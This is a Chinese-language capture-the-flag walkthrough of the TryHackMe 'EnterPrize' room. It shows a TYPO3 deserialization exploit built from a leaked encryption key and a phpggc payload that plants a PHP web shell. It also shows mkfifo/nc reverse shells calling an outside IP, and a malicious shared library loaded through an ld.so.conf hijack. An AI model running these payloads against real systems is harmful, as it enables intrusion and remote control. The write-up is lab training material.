TryHackMe-EnterPrize（boot2root）网站首页 学无止境

TryHackMe-EnterPrize（boot2root）

Sugobet 2023-07-02 16:00:03

简介TryHackMe-EnterPrize（boot2root）

EnterPrize

端口扫描

循例nmap

在这里插入图片描述

Web枚举

进到enterprize.thm

在这里插入图片描述

gobuster扫

在这里插入图片描述

到处扫了一段时间，ffuf扫vhost扫到个maintest

在这里插入图片描述

进到maintest，是typo3

在这里插入图片描述

/typo3conf下有些文件

在这里插入图片描述

在LocalConfiguration.old有一个key，它应该就是提示当中所说的

在这里插入图片描述

在谷歌找到一篇有关typo3 encryptionkey到RCE的文章

值得关注的是这段代码

    /**
     * Initializes the current state of the form, based on the request
     * @throws BadRequestException
     */
    protected function initializeFormStateFromRequest()
    {
        $serializedFormStateWithHmac = $this->request->getInternalArgument('__state');
        if ($serializedFormStateWithHmac === null) {
            $this->formState = GeneralUtility::makeInstance(FormState::class);
        } else {
            try {
                $serializedFormState = $this->hashService->validateAndStripHmac($serializedFormStateWithHmac);
            } catch (InvalidHashException | InvalidArgumentForHashGenerationException $e) {
                throw new BadRequestException('The HMAC of the form could not be validated.', 1581862823);
            }
            $this->formState = unserialize(base64_decode($serializedFormState));
        }
    }

encryptionkey用于计算HMAC，而一旦我们利用有效的HMAC将能构造反序列进行RCE

echo '<?php system($_GET[1]);?>' > ./exp.php

这里不能有双引号，否则可能会破坏后面序列化的payload

使用phpggc生成序列化payload

注意路径，typo3在public下

在这里插入图片描述

a:2:{i:7;O:31:"GuzzleHttpCookieFileCookieJar":4:{s:36:"GuzzleHttpCookieCookieJarcookies";a:1:{i:0;O:27:"GuzzleHttpCookieSetCookie":1:{s:33:"GuzzleHttpCookieSetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:26:"<?php system($_GET[1]);?>
";}}}s:39:"GuzzleHttpCookieCookieJarstrictMode";N;s:41:"GuzzleHttpCookieFileCookieJarfilename";s:50:"/var/www/html/public/fileadmin/_temp_/backdoor.php";s:52:"GuzzleHttpCookieFileCookieJarstoreSessionCookies";b:1;}i:7;i:7;}

使用php进行hmac加密

<?php
$secrt = hash_hmac('sha1', '<payload>', "<encryptkey>");
print($secrt);
?>

我们利用contact form表单交付payload

在这里插入图片描述

burp修改__state

在这里插入图片描述

访问文件，成功RCE

在这里插入图片描述

Reverse Shell

用curl把nc传过去

在这里插入图片描述

reverse shell payload

mkfifo /tmp/f1;/tmp/nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1

在这里插入图片描述

getshell

横向移动

在john家目录下发现develop

在这里插入图片描述

传个pspy64过去看一眼, 在定时执行myapp

在这里插入图片描述

通过ldd查看，发现了一个john自定义的so文件

在这里插入图片描述

查看/etc/ld.so.conf，这里记录了动态链接库的路径，这里又指向了/etc/ld.so.conf.d下的所有conf文件

在这里插入图片描述

有趣的是其中一个文件连接到/home/john/develop的test.conf，而我们有权写入develop文件夹

现在的思路就是通过创建test.conf指向我们自己创建的恶意so文件，让myapp加载从而移动到john

创建test.conf

在这里插入图片描述

创建c文件

#include <stdio.h>
#include <unistd.h>

__attribute__ ((__constructor__)) void hack (void){
    system("mkfifo /tmp/f3;/tmp/nc 10.14.39.48 9999 < /tmp/f3 | /bin/bash > /tmp/f3");
}